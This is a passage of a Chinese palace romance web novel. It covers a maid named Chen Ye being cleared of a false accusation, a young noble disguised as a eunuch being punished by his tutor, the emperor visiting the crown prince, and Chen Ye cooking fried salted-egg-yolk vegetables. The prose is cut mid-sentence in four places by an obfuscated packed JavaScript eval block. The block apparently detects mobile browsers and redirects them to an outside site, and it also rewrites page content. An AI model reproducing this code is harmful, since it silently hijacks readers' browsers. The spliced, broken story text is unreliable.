陈叶没想到碧云做得竟如此决绝，自己已经把话给她说清楚了，她竟然还执意要查自己。既然如此，那就查吧，自己的柜子里除了衣物便是银子，小凳子给的金块因为不放心早起时还是偷偷揣进身上的小荷包里了。她陈叶行得正坐得直，从不亏待任何人！ 只是她还是不明白，碧云为何对她怨气这般大，“碧云，你怎会这般恨我？我自认不曾招惹过你，若是你不主动招惹我，我甚至连话都未曾与你多说过几句。” 这话仿佛戳痛了碧云，她变得歇斯底里，“都是你的错，如果不是你，掌酝怎会日日拿我与你比较！只要有你在，我永远都是差的那一方，我在尚食局就永远也出不了头！” “可我不曾招惹过你啊，碧云，你为何不想想郑掌酝为何要拿我与你做比较呢？每次当值你都想着偷懒，每次掌酝让你干活你也总想着差不多就行了，今日差一点明日差一点，日积月累，自然越差越多，郑掌酝对你有不满难道不是很正常吗？你这样的当值态度，没有我压你一头，也会有别人压你一头。何况掌酝从未打骂过你，有什么好东西也都想着你，不然就凭你那点俸禄和人脉，怎能拿到宫外王记的果脯？郑掌膳未曾亏待过你，我也未曾招惹过你，若你还是执意要认为是我的错，那我也不必与你多说，你好自为之。” 碧云低下头，不愿再与陈叶多说。 陈叶也不想再与她多讲，别过头去不愿看她。 白肃清也不说话，一副走了神的模样。准确的说自从陈叶说出她与自己绝无可能的时候，他就已经心不在焉了。不知怎的，他就是觉得这句话令他的心酸酸的、涩涩的。 殿中一时间寂静无声。 王尚宫已经处理了大半天的宫务，本就累得头疼，现在好不容易清净了，自然也不想说话，只闭目养神，等着宫女回来。 宫女速去速回，汗珠大颗落下，不等歇息，“禀尚宫，陈叶的柜子并无异常，银子也都与其俸禄和赏银对的上数。” “怎么可能！绝对有异常！你是不是没好好搜！是不是！”碧云听了宫女的回复，冲上去死死地掐着那宫女的手臂，一顿逼问。 宫女倒也好性，忍着痛，“尚宫，奴婢确实未曾搜到什么异样的物品。” 王尚宫也是个护短的，见自己的宫女被碧云这样掐着，恼了，让人拉开碧云，“够了！碧云，你诬告宫女陈叶，现已证实，你可知罪？” 碧云此刻脸色极为灰败，呆呆地坐在地上，也不回话。 “宫女碧云，空口白牙诬陷他人，现按宫规处置由尚食局三等宫女贬为尚服局四等宫女，你可有认罚？” 听到是去最苦最累的尚服局，碧云忽得笑了，虽然尚服局苦，可没了陈叶，未必不是一件好事，磕上一头，“奴婢认罚。” 14. 懵懂 碧云不是不知道这一切和陈叶根本没关系，但她所有的痛苦都需要一个理由发泄出来，她没有办法否认和攻击自己，于是便选择了将自己遭遇的一切批评都归咎于陈叶。如果没有陈叶的对比，或许郑掌膳就不会觉得自己笨，或许同屋的人和自己相处得就会更好些。 碧云没有任何挣扎，很快就被带走了，陈叶看着她被拖走的背影，心里极不是滋味。尚服局最低等的宫女，双手日日都要泡在水里，夏天还好，冬天肯定是要生冻疮的。碧云再怎么说也是被郑掌酝亲自挑走的宫女，掌酝对她的要求虽然严厉却也偏爱她。入宫良久即使品级不高，但也没做过这样的苦活。 白肃清低着头，不知在想着些什么。 他不明白自己为什么要心酸难过，但碧云的事情让他知道，即使他现在扮作一个太监还是会给身为女子的陈叶带来议论和恶意，他需要和她保持距离。 王尚宫处理完这事，也累了，揉揉发痛的眉心，看着陈叶和白肃清，“可还有什么事，没有的话，陈叶就退下吧，小凳子留下。” “是，奴婢告退。”半天就经历了这样多的事情，陈叶也觉得累得慌。何况她一直跪着，膝盖是真的顶不住啊，现在两条腿都是麻的，根本站不起来。 陈叶硬撑着站了起来，刚走一步就感觉腿一麻，便要跌倒下去，白肃清眼疾手快又搀了陈叶一把，又好像突然意识到什么，松开了自己的手，“姐姐当心。” “谢谢你了，小凳子。”陈叶站稳，慢慢挪出殿内。 白肃清本想送她回去，但最终还是闭上了嘴，收回了手。 看着外头的大太阳，陈叶低下了头，缓缓走回尚食局。 殿内，王尚宫看着欲言又止、欲动未动的白肃清若有所思，“国舅爷，您该去学堂了，太子爷估计正在找您呢。” 白肃清这才想起来自己还在尚宫局，想到前不久才被阿姐教训过一顿，讨好道，“绿意姐姐，你能不能不要告诉阿姐今日发生的事。” 王尚宫不语，微笑着摇了摇头，她不可能不和娘娘说的，“国舅爷，您还是赶紧的吧，呆会迟到了可是要被太傅罚的。” 猛地，白肃清夺门而出。忘了今日下午是许太傅来东宫讲课了，许太傅学识渊博，为人古板严苛，对学生的要求向来严格，就连李景川也是该罚就罚，不留丝毫情面，更别说白肃清了。 一路狂奔，白肃清气喘吁吁地跑到东宫，奈何还是晚了，只看见许太傅的背影消失在门口。 完蛋了！今天要挨两次罚了！白肃清搓了搓掌心，好兄弟！苦了你了！ 良久，陈叶的腿脚终于不麻了，能利索一些地快步走。还好小凳子今天扶了自己一把，不然真是要摔个狗吃屎。 不知为何，陈叶回想起了小凳子搀扶自己的场景，自己的手臂仿佛还被搀着，传来丝丝热意。小凳子的手很有劲，很热，不像个太监。他给自己的感觉也确实和太监不一样，更像个毛头小子，可是在这宫里又怎会有毛头小子的存在呢？除了皇上、太子、还有那位不着调的国舅爷，满宫里不会再有真正意义上的男性了。 他和碧云撞到一起，必然是因为来了尚食局寻自己。至于他来尚食局，应当是又要点菜了，这才来的。没想到被碧云揪着闹去了王尚宫那，这下可好，主子交代的活没做成，还被王尚宫留下了，必然是要挨罚的，说不定还要挨两顿打。连自己都没法挨过一顿打，他看上去也才十五六岁，比自己还小，哪能挨住两顿打？ 思及此，陈叶还是决定先不回房休息了，折转回尚食局给小凳子准备今晚的菜。若是他没来拿，自己便等下值给他送过去，到时候就说是自己耽误了，希望国舅爷不会怪罪他。 待回到尚食局，银叶与彩叶便围了上来，她们一直在这等着陈叶，“出了什么事？你怎么这样晚才回来？姑姑和我们可担心你了，还有今日尚宫身边的宫女还来搜了你的柜子，阵仗可大了，我都要吓死了。另外还有碧云，据说被尚宫罚去了尚服局，这又是怎么回事？” 见陈叶回来，银叶便如上了发条一般，一刻也不停歇地问。 陈叶无奈，今日脑子都处于紧绷状态，现在懈怠下来感到疲乏，实在是不想再动了，只得说道，“你慢慢问，我记不过来了。” “先让陈叶歇歇吧。”彩叶倒了杯水给陈叶，搬了把小凳子过来。 之前不觉得口渴，现在看到水，陈叶才察觉到嗓子已经干得发疼，一口气喝了好几杯才停下。 三个人凑在一起，陈叶将所有来龙去脉都说了个清楚，银叶听完，很是气愤，“碧云怎么这样！咱们从未亏待过她，也就是她惹上门来咱们才刺她几句，她竟这样诬陷你！” 看银叶如此气愤，陈叶安抚道，“好啦，别气了。她也算是自食恶果，本想将我赶出去，结果把自己送进了尚服局。只是郑掌膳，对她倾注了那样多的心血，现在竟是这样的结果。” “郑掌膳还有碧荷呢，再不济明年进新人再挑一个也行。”彩叶道，“只是郑掌膳自己能不能走出来就是个问题了，不过那也不是咱们能操心的。”彩叶不关心除了陈叶、银叶还有王掌膳以外的任何人，前两个是她的姐妹，后面那位，是她的师父。 陈叶叹了口气，“也对，你们担心了这么久，累了吧，赶紧先休息一下。我去姑姑那报个平安信，去去就回。”说着陈叶站起，摸了摸银叶和彩叶的头，彩叶不自觉地理了理头发，“你比我小。” “哪有怎样，我就要摸！”陈叶又摸了一把彩叶的头，趁着彩叶还没反应过来，快步出了门。 留下彩叶把刚理顺的头发又理一遍。 向李姑姑报了平安，陈叶马不停蹄开始备菜。 白肃清进殿的那一刻，许太傅的脸就耷拉下来，沉声道，“现在都几时了！你才来！” “太傅，我就晚了一点点，你不也才来吗？”白肃清试图辩解。 然而许太傅根本不听，举起戒尺，“手伸出来！君子之行，重信守时为先！你来晚了还敢顶嘴？” 白肃清老实地闭嘴，伸出手，为了不妨碍拿笔写字，许太傅打的是左手。戒尺一下一下地打在手心， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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远处，陈叶也看见了小凳子，他看上去没有挨罚了的样子，便加快脚步。走到近处才发现小凳子的身边还有一个男童，如今圣上子嗣不丰，男童且在东宫，那便只有太子了。陈叶立马跪下，“见过太子殿下，殿下千岁千岁千千岁。” “起来吧。”李景川看着自己小舅舅的眼神，立马叫了起。 “你是何人？来东宫所为何事？”李景川摆起太子的架子。他不让她跪，但是可以打听这人到底是何人，和小舅舅到底是什么关系。 “奴婢尚食局陈叶，来东宫给伺候国舅爷的小凳子送餐食，原早该做好送来的，但奴婢手脚笨耽误的片刻，还望太子殿下及国舅爷莫怪。” 一听是尚食局的人，李景川就知道今夜又有好吃的了，眼睛都亮了，但还是沉稳道，“原来是尚食局的人，本宫不会怪罪你的…国舅爷那边本宫也会替你说情的，东西交给。小凳子便退下吧。” “是。”陈叶本就是来为小凳子开脱的，既然他没有受罚，又有太子爷的保证，陈叶也不欲多留，把食盒递给小凳子便要遵旨离去。 而递过食盒的瞬间，陈叶手里被塞了一个东西，她不好直接打开看，但摸着圆滚滚的。 小凳子给了她一个放心的眼神，随着太子进了东宫。 15. 仁君 “恭送太子殿下。”陈叶跪下，低头送行的瞬间看见小凳子指了指自己的膝盖，心下有了断定，那瓶小罐子里装得应当是活血化瘀的药油。她低头直到太子及小凳子的身影消失这才起身离去。 回到屋里打开小凳子偷偷塞给自己的小罐子，一股药香便飘散而出。不知道小凳子哪来的药油，宫中宫女太监连看病都是问题，更别说是拿药了。他能注意到自己今日腿脚不便，还送她药油，已是难得。 洗漱后，陈叶搂起裤腿，一大片的淤青散布在膝盖上，看得极为瘆人。她打开罐子倒出药油，用掌心搓热，随后附在膝盖上，使劲揉了起来。只有将淤血揉开，明日才会好些。 晚些回来的银叶与彩叶一进屋便闻到一股药味，仔细一看竟是陈叶坐在炕上揉着膝盖，银叶冲到陈叶身边，“姐姐，你的膝盖怎么这样吓人，该不会今天在钟…” 陈叶没等银叶说完，安抚道，“无妨，只是看着吓人，过几日就好了。” 银叶闭上了嘴，无论如何，妄议主子是大不敬，“那我帮你揉。”说着银叶便拿起药油准备倒上一些。 陈叶立马拦住，“别，呆会弄得你一身药味。我这揉好了还得去洗手，就别再脏了你的手了。” “什么脏不脏手的，你是不是嫌弃我们！还是我们不是姐妹，你不想让我们碰你。”彩叶见陈叶这样说，有些生气了，用着平静但又明显带着怒气的语气噎陈叶。 陈叶总是什么困难都不和她们说，什么事都自己解决。可她们若是有事找陈叶，她又立马放下手中的活来帮忙。彩叶不喜欢这样，她不想被一直被人护在身后，她是有能力的，她也想自己可以为另外二人的依靠。 “就是！”银叶眼里泪汪汪地盯着陈叶，眼里满是控诉。 被噎了一口不知该如何说的陈叶：这说话的方式怎么那么熟悉呢？ 无法拒绝也不好拒绝，不然可不就生分了。陈叶只能把药油递给两人，道，“你们知道我不是那个意思。既然你们想帮我揉，那就揉吧。正好今天我也享受一回被人伺候的滋味，一人一只腿如何？” 说着，陈叶撩起另一只裤腿，两腿一伸，极为慵懒地半躺下来，笑眼盈盈看着银叶和彩叶。 银叶与彩叶是如愿能帮陈叶揉膝盖了，但这感觉怎么就那么怪怪的呢，银叶形容不出来，只能小声与彩叶蛐蛐道，“还姐姐呢，没个正形！” 陈叶当然听见了，但也不管，发出一声长叹，“哎呀，舒服！” 银叶默默加重了力道，奈何膝盖皮肉少，即使再用力地揉痛感还没有长久跪着的痛感强，陈叶依旧惬意。 东宫，摆好了膳。 白肃清与李景川坐在桌边，拿起筷子正准备用膳，外头传来太监尖细的声音，“皇上驾到！” 今日上朝，因工部尚书家的公子当街打了大理寺卿家的公子，两人闹得不可开交。最后以皇上对两家各打五十大板而结束，不过这场闹剧倒是让他想起自己唯一的孩子，便摆驾来了东宫，想来表达一下自己的慈父之情。 李景川和白肃清立马出门迎驾，“见过皇上。” “见过父皇。” 皇上看了一眼白肃清，道，“都起来吧。” 看着已经许久未见过面的孩儿现在已经长得这样大，皇上难免想起他刚出生时的模样，一时之间父爱泛滥，蹲下张开手，“来川儿，让父皇抱抱。” 李景川毕竟是孩童，也是期望父亲的疼爱的，便投入了父皇的怀抱。 可自从武课延长后，李景川壮实了不少，哪里是终日寻欢作乐早已掏空身体的皇上能抱得起的，他使了使劲发现李景川纹丝不动，尴尬地摸了摸鼻子，“父皇的川儿已经长得这般大了，父皇竟然都已经抱不起你了。” 李景川有些失望，自己的武课师傅都能轻松把自己拎起来，小舅舅也可以一只手就拎起自己，可父皇明明是一国之君竟然两只手还抱不起自己，不过他还是安慰起自己的父皇，“父皇，肯定是川儿最近吃得太多了，都重了不少，等川儿饿几天父皇再抱儿臣吧。” 皇上听着李景川的童言，直起身子摸了摸他的头，当即大笑，“哈哈哈等父皇也多吃几天饭，就可以抱得起你了。” “那父皇一定要多多用餐！”李景川点点头。 白肃清一直低头站在一旁，一句话不说，只盼着这名义上的姐夫不要注意到自己，但他那么老大一个人杵在那，皇上怎么可能注意不到。 皇上自顾自走到殿内，坐下，颔首示意，“阿清，坐吧，在宫里呆得可还适应？” 白肃清直摇头，伸出今天被许太傅打肿的左手，抱怨道，“姐夫，不太适应，今日还被太傅罚了手板，现在手还是肿痛的。” 许太傅今日这下是真打对了，正好为自己提供了自己不着调的证据。 皇上仔细一看，确实已经肿了，看来他还是像在宫外一样那般不争气，放下心来，先是震惊，“怎么打得这样厉害？” 又劝道，“阿清，你阿姐也是为了你好，你莫要怪她。朕那里有上好的伤药，呆会便着人给你送来。”句句都是白肃云的好意，但句句也都是对白肃云的埋怨，仿佛他与白肃清才是一条战线上的人。而白肃云，是造成白肃清手伤的罪魁祸首。 白肃清不是傻子，顺着皇上的话，装作一副姐夫竟然不站在自己这边替自己说话，着急了的模样，继续道，“谢姐夫。但是姐夫，我就是不想学，你帮我劝劝我阿姐吧，让她别在我身上费心了，赶紧放我出宫。” 皇上怎么可能让他出宫，这可是送上手的人质。原先还怕他被阿云一逼，进了宫转性开始学了，没想到还是这样吊儿郎当，那他就更不必出宫了，“你阿姐不发话，朕哪敢让你出宫，呆会她又要和朕闹了。好了，时间也差不多了，朕就先走了。” “川儿，你要好好精进学业，父皇过几天再来看你。”皇上又低下头，摸了摸乖巧的李景川，随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但皇上已经没法像一开始那样闭目养神了，黄振的无心之言还是在他心中留下了疙瘩。他当然期盼自己唯一的皇儿优秀，可若是太优秀了，岂不显得他这个当父皇的很无用。 白肃云那边很快也得到了皇上去了东宫的消息，打探清楚情况，只晓了川儿对李仲君的情感，叹了口气，父子之情终究不是不见面就能斩断的。 既然如此，那就必须让川儿看清他的真面目，这样，来日他才不会因那人的举动而失望伤心。那人的眼里，除了权力便是美色，任何事情都排在二者之后，川儿在他心中绝对排不上名次，否则怎会大半年在宴会上才见一次，自己又怎能轻易让父子二人不相见。 白肃云沉思片刻，道，“红霞，你去趟东宫，让阿清明日来见我。” “是，娘娘。” 尚食局，彩叶与银叶揉了好一会，将淤血揉开这才停下，三人净了手，并排躺在床上，齐齐入睡。 16. 谋划 一早，白肃清便去了凤仪宫，昨天红霞来传口信时，一句多余的话也不肯透露，他原以为今早要挨一顿打，没想到是来接任务的。 听着白肃云细细交代，白肃清面露难色，“阿姐，真的要这样做吗？” 作为李景川的小舅舅，他很担心一个父亲形象的崩塌会不会对他的内心造成伤害。 “你只需要准时带着川儿在那块出现就行了，其他的都不用管。川儿已经这般大了，如果连这点东西都经受不住，那还怎么做大庸的太子，未来的皇帝，难道要像他的父皇一样庸庸碌碌做个昏君？他读书明理这么多年，该有自己的想法了，只要看到了这些自然就会明白他的父皇到底是个什么样的人，也会明白自己以后应该做一个怎样的帝王。若是连这也想不明白，那他就没资格做这大庸的储君，只能做个闲散王爷，不去为祸百姓就行。”白肃云没有犹豫，她是只有这一个儿子，可如果李景川承担不起这个重任，她会打算从宗室中过继一个。因为她清楚地知道，帝王肩上的担子有多重，那担着的是天下黎明百姓，若是无能，不如退位让有能力的人做。这样于川儿、于天下黎明百姓都好。 “是，阿姐，我明白了。”白肃清终于懂了，做储君与做他这样的世家子弟是不同的，世家子弟只要不为虎作伥欺凌百姓就行了，可储君要的是真正的能力，学识才干、知人用人、权衡世事无一不通。何况现在那位也确实不宜与川儿走的太近，一是怕带坏川儿，二是他时不时发狂，发起狂来可是谁都不认的，万一伤到川儿可就不好了。 “好了，你回去读书吧。”白肃云还要安排其他事情，也不再与白肃清多说。 但白肃清有话讲，今天上午又是许太傅的课，这下去肯定已经晚了，若是没有阿姐的传话，许太傅肯定不听自己的解释，估计自己免不了又要挨一顿手板。他的手现在还痛着呢，可不能再挨打了。 至于为什么许太傅不听他的解释，还是年少轻狂，做了太多传假话逃课的事，已经丧失太傅的信任了。 反正是白肃云有求于自己，白肃清便理直气壮道，“阿姐，你给许太傅传个话呗，就说我是被你叫过来了，不是故意迟到的，叫他别打我手板了，可疼。” “许太傅不是那样不通情达理的人，你好好与他说他是不会罚你的，还是说你又惹他了？”白肃云眼神里满是质疑。她和大哥也被许太傅教过几年，也是知道许太傅的为人的。除了有些严苛外，其他的都是可以细细商量着来，怎会因为晚到就挨罚。 “哪有！我昨天就晚了一点点，就那么一点点！他就罚了我二十手板。”白肃清拇指与食指比出一个极小的缝，神色激动，以显示自己真的只迟到了一点，却挨了极重的罚。 说完，还伸出自己的左手，递到白肃云眼前，卖惨，“阿姐，你看，我的手现在还肿着呢！” “是有些肿。”白肃云看了两眼附和道，但猛地话锋一转，继续道，“那你昨天是为何迟到呢？” 大爷的！小爷把这茬给忘了！ 白肃清张口欲言却又闭上了嘴，阿姐这样问，定然是绿意姐姐没有与她说这事。他若要说，肯定要来龙去脉全都交代清楚，到时候阿姐知道这事还与陈叶有关，难免不会罚陈叶。还是算了吧，她昨天跪了那么久，连路都走不稳了，就不要再拖累她了。阿姐不传话就不传话吧，大不了再挨二十手板，没什么大不了的。 白肃清闭着眼，硬着头皮，张口就开始搪塞白肃云，也不提什么挨不挨罚了，“是我犯了懒误了时间，才被许太傅罚的，确实是我自己的问题。”阿姐一向最难忽悠，也不知道这样能不能混过去。 “嗯，你知道就好。”白肃云是有些震惊于自己弟弟的表现的，现在竟也学会为他人担当了。绿意昨日就与她说了白肃清与碧云还有陈叶的纠葛，她是知道这事的。至于去晚了被许太傅罚，她倒是不清楚，不过根据时间推一推便知道就是因这事而迟到的。 既然阿清不愿意让她这个姐姐知道这事，那她就当做不知道好了，总归是个宫女也翻不出什么浪花，让绿意多看着些就行了。若是她能让阿清学会男子该有的担当，让阿清发愤图强，她也不是那么反对他们二人。 “既如此，你便赶紧回去上课吧，许太傅还在等你呢。”白肃云挥挥手，让白肃清退下。 白肃清没想到今天竟然让他蒙混过关了，一身轻松出了凤仪宫。 然而，他还是有些怕挨手板的，一路上惴惴不安，想着要不直接逃了称病不去好了，这样就不用挨手板连书也不用读了。可一想到自己刚刚搪塞过阿姐，再来肯定不好使了，若是惹恼了阿姐，说不定她会把自己做过的所有事全查个水落石出，那时就是再怎么瞒也瞒不过去了。还是去吧，本来就做好挨两顿罚的打算了，只不过现在两顿罚都是同一个人执刑而已。 到了东宫，学堂门口，已经过了伴读们朗朗读书的时候，现在是许太傅一人的讲解时刻。许太傅最厌恶有人打断他讲学，许太傅还不是太傅的时候，工部尚书家的那位就打断过他的讲学，结果他亲手打了那人三十手板，让其在门口罚站一天，脸都丢尽了。思及此，白肃清身上的皮又紧了些，虽然他不着调，但还是要脸的。 白肃清进门，恭恭敬敬地躬身，自觉伸出手，“太傅，学生来晚了，还请太傅责罚。” 许太傅停下了讲授，盯着白肃清打量了片刻，确认这就是那个混不吝的小国舅爷。一时间不知道说些什么，他从未见过这样老实的白肃清。不过皇后娘娘早就传了口信，说今日与小国舅有要事相商他会晚来片刻，何况他今日态度也确实端正。许太傅点点头，把书往他头上轻轻一敲，“行了，到位置上去。” 白肃清不可置信地看着许太傅，不正常！太不正常了！许太傅怎么会用这样的语气与他讲话，该不会许太傅被调包了吧？ 许太傅见白肃清一直盯着自己，摸了摸自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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从前只有陈叶一人要考女官，虽然她很用心也很好学，可终究不学的人占大多数，李掌膳一直担心她会受影响。可现在她不仅没受影响，还把另外两个不错的苗子带得愿意学习，她又如何能不欣慰呢？ “嗯！要是有不会的我们肯定去找你，不过这次是三个人了，姑姑别嫌我们叽叽喳喳吵的慌就行。”陈叶拉着彩叶的手，对着李掌膳点头。 “你们两个倒是不吵，最令我省心，最吵的是我跟前这个。”李掌膳点了点银叶的额头。 银叶受伤道，“姑姑！你昨天还是人家是你的小棉袄，小太阳呢！” “小棉袄、小太阳那也是冬日里才用的到，现在是夏日，本就够热的。再来个你，那可不就跟膳房里烧了碳一样，满身大汗。”李姑姑打趣道。 “既然姑姑不要我，那我就只好来温暖你们两个啦。”说着，银叶放开李掌膳的手，往陈叶与彩叶的怀里一扑，三人笑闹打成一片。 天气虽热，可阳光也好，明明亮亮的，就像这三人的前程一样。 17. 去玩 一上午过去了，许太傅走出殿内的那一刻，白肃清彻底放松下来，伸伸懒腰，朝着李景川露出了神秘的微笑，再抬手微动。 李景川立马感受到小舅舅在召唤自己，屁颠屁颠地小跑过来，明明动作还带着孩童的稚气，可说话却又如同大人一般，“小舅舅，你叫我是有何事？” 白肃清故作神秘，勾勾手指让李景川靠近些，凑到他耳边轻声问道，“今日中午带你去玩，你去不去？” “去！”李景川很是兴奋，人都要蹦了起来，但反应过来自己动作太大有些辱了储君的身份，又猛地闭嘴，对着白肃清点头。 小舅舅终于愿意带自己去玩了，整日待在东宫，无论到哪里宫女太监都是毕恭毕敬的，着实没意思。伴读们也不太敢与他打闹，怕磕了碰了，所以他除了在武课上能敞开了玩闹，其余时间都是被拘束着的。他每天看着小舅舅跑进跑出，羡慕极了，现在终于可以跟着小舅舅一起去玩了，能不开心吗！ 急急忙忙用完午膳，李景川便迫不及待，“小舅舅，我们什么时候去？”他可着急了，去晚了又怕呆会下午会迟到，虽然今日下午来讲授的太傅比较温和，但也不能因为偷偷跑出东宫去玩而迟到，否则他也不会原谅自己的。 “你跟着我来。”白肃清起身，带着他回了自己殿内，拿出一套小太监服，丢给他，“想出去玩就穿上。” 也不管李景川同不同意，自己先转身进了内室，换起了衣服。 李景川仅用了一个呼吸，就接受了自己要穿上太监服饰的事实，麻利地脱下身上的外衫，换上这套小太监穿的衣裳，万一迟了小舅舅不愿意带自己出去玩那可就真的得不偿失了。别说，这太监服还挺合身的，果然小舅舅心里还是有我的。 待到出来，看着穿戴整齐的李景川，白肃清不由得惊叹，速度还挺快。 不过出殿门前，白肃清照旧伸出手对着李景川。 这次轮到李景川神秘一笑了，他颇为自豪，仿佛早就料到了一般，很熟练地将早就握在手心的小金块放到了白肃清手上。 连掏都没掏，看来这小子早有准备，既然如此，那就不要管自己这个小舅舅不仗义了！白肃清收起金块，又伸出手，一动不动。 李景川瞪大眼睛，好黑心的小舅舅！算了，看在他带自己出去玩的份上，那就再多给一个好了，从袖中又拿出一个金块，放了上去。 白肃清点点头，收好金块，仔细叮嘱道，“出了东宫，就要学着我的样子走路，弯腰低头知道了吗？带你出去玩我也是有风险的，你要是想下次还能去玩，就得乖乖听我的。” 李景川郑重地点点头，为了日后还能出去玩，他定然按照小舅舅的话做。 李景川小心翼翼地低着头跟在白肃清身后，往日那些宫女太监们看到他的仪驾都要回避。现在自己这样走着，好像融入了他们，观察得也更为清楚了，这种体验很是新奇。 尚食局，做完午膳，陈叶三人主动留下收拾东西，呆会就不打算回屋休息了，直接在膳房研制新菜品。底下的小宫女们很是感激，她们等级最低，休息时间也是最少的，现在陈叶等人帮她们揽了活，她们可以多休息一下，自然是喜不自胜，欢欢喜喜地就走了。 膳房内，陈叶发现了膳房内的咸鸭蛋，这东西味重又咸，主子们吃的少，倒是一些太监会拿来下酒，图个味。 看到咸鸭蛋，陈叶想起来从前在饭店吃过的咸蛋黄炸时蔬，咸咸脆脆里面是时蔬清甜的本味，很是不错。既然碰到了便试试能不能做出来，做出来了既多了一道拿手菜，又能给银叶彩叶当零嘴。 陈叶拿上了几个咸鸭蛋，又拿起一个番薯和一个南瓜，她记得这两样炸起来最好吃了。 见陈叶这么快就动手，银叶很是惊讶，“陈叶姐姐，你这就想好了？你要做什么呀？” 陈叶吊足了她们的胃口，“秘密！等做出来给你吃，保准让你惊艳！” 银叶和彩叶还是第一次听陈叶说这样绝对的话，很是期待，尤其是银叶，不争气得已经开始咽口水了。 不多说，陈叶已经进入状态，开始备菜，她将番薯和南瓜洗净切片，裹上薄薄的生粉，又将咸鸭蛋中的蛋黄分离出来，碾碎。 做完这一切，陈叶将火烧大，把油锅烧热，将裹好粉的番薯与南瓜下锅油炸，待到炸透，捞出控油片刻，又入油锅复炸一遍。 此时，炸物的香气已经弥漫开来，银叶迫不及待凑到陈叶面前，眼巴巴地望着。陈叶被银叶这不争气的模样逗笑了，待到复炸结束，特地夹了两小块出来，“来，你和彩叶先尝尝味。” 银叶也不怕烫，胡乱吹吹就是一小口，“哇，好脆！里面又是糯糯的甜，好好吃！” 彩叶等到凉了可以入口才咬上去，“嗯！好吃！之前只吃过蒸番薯煮番薯，这炸番薯还是第一次吃。” “等着，呆会更好吃喔！” 说着，陈叶另起一锅，舀上一小勺油将碾碎的咸蛋黄倒入，蛋黄瞬间就起了沙，原本闻起来有些腥气的蛋黄在陈叶的手下散发出极为诱人的味道，再顺势加上一点点糖调味，把炸好的番薯和南瓜倒入锅翻炒几下便立马出锅。 这是陈叶第一次做这道菜，也是按照自己以往的理解和这么些天在膳房练出的手感做出来的，不过看着这色泽与往日吃的别无二致，应当差不到哪去。终于，到了自己想吃什么就能做什么的一天了，她颇为自豪，双手叉腰，“好了！完成！快来尝尝！” 刚刚尝得那一下味道就已经让银叶充满了期待，现在更是手快如闪电，在陈叶说完可以吃时，便拿起筷子夹上一块，入口先是牙齿挤压面糊的脆感，然后是咸甜交织的味觉在嘴里迸发，最后由南瓜甜糯的原味把口腔里的杂味扫干净，至于时蔬原本的香气。 银叶才吃完一块，忍不住又夹上一块，只在吹凉食物的间隙对陈叶夸赞道，“好吃！” 大夏天的吃这样油炸的东西容易上火，到时候嘴上长燎泡可就遭罪了，便打算再做一个竹蔗茅根雪梨水，省得两人吃多了喉咙难受。 动身之前，见银叶吃得这样急，她不得不劝道，“银叶，你慢些，等凉一点再入口，别烫着了。彩叶你也是，仔细烫着。” “知道了，你不吃吗？”彩叶点头，看陈叶没有脱下围裙的想法，便问道。 陈叶摇摇头，“我待会吃，现在做些竹蔗茅根雪梨水，清凉下火，呆会你们两个都得喝。” “陈叶姐姐做的我都喝！”银叶已经完全被陈叶征服了，对她做出来的东西完全不带怀疑的。 白肃清带着李景川弯弯绕绕，到了尚食局。 看见匾额上“尚食局”三个大字，李景川本是有些不满的，说带自己去玩就是来着玩？小舅舅也太会骗人了！但想到这几日晚上吃到的好吃食又咽了咽口水，难道小舅舅往日的好吃的都是从这拿出来的？可自己的吃食也是从这来啊，怎么没有吃到过那样美味的吃食？ 白肃清带着李景川进了尚食局，一进去一股诱人的香气便钻入鼻子。 李景川扯了扯白肃清的袖子，“小舅舅，好香！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409045|183182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 白肃清不是没鼻子，自然也闻到了，甚至还不争气地咽了咽口水。本来还在担心陈叶会不会又不在，但现在他可以肯定，陈叶一定在，只有她会捣鼓这些好吃食。 越靠近膳房便越是安静，本来这时还是有些小宫女在才对，会有些嘈杂，但现在只偶尔有几句说话声传出来，听起来聊得很开心。 天热，陈叶等人没有关门，大门敞开着，越走近香味越浓，白肃清让李景川在廊下等着自己。 白肃清走到门口，并没有看到陈叶，便朝着里面的彩叶与银叶躬身问道，“两位姐姐，我找尚食局的陈叶姑娘。” 银叶与彩叶对视一眼，颇为警惕，彩叶收起笑脸，“你是何人，找她何事？” “小的…”白肃清刚打算说自己的来意，陈叶便出现了，她端着刚煮好的竹蔗茅根雪梨水出来，“小凳子？” “陈叶姑娘。”白肃清抬头看了一眼，确定是陈叶，再次躬身。 “不必多礼，进来吧，来尝尝我今日新做出来的菜品。”陈叶放下饮品，给白肃清递上筷子后并没有停手，又打来一盆冷水，将装有饮品的小罐子放进去泡着。 李景川虽然在廊下，却也将几人的对话听得一清二楚，他还满心期待着自己的小舅舅能把自己也带进去吃好吃的呢！结果等了片刻，只听见小舅舅不停地道谢，说着什么谢谢陈叶姑娘。他气急了，两块金块啊，就让他站在廊下闻味道！ 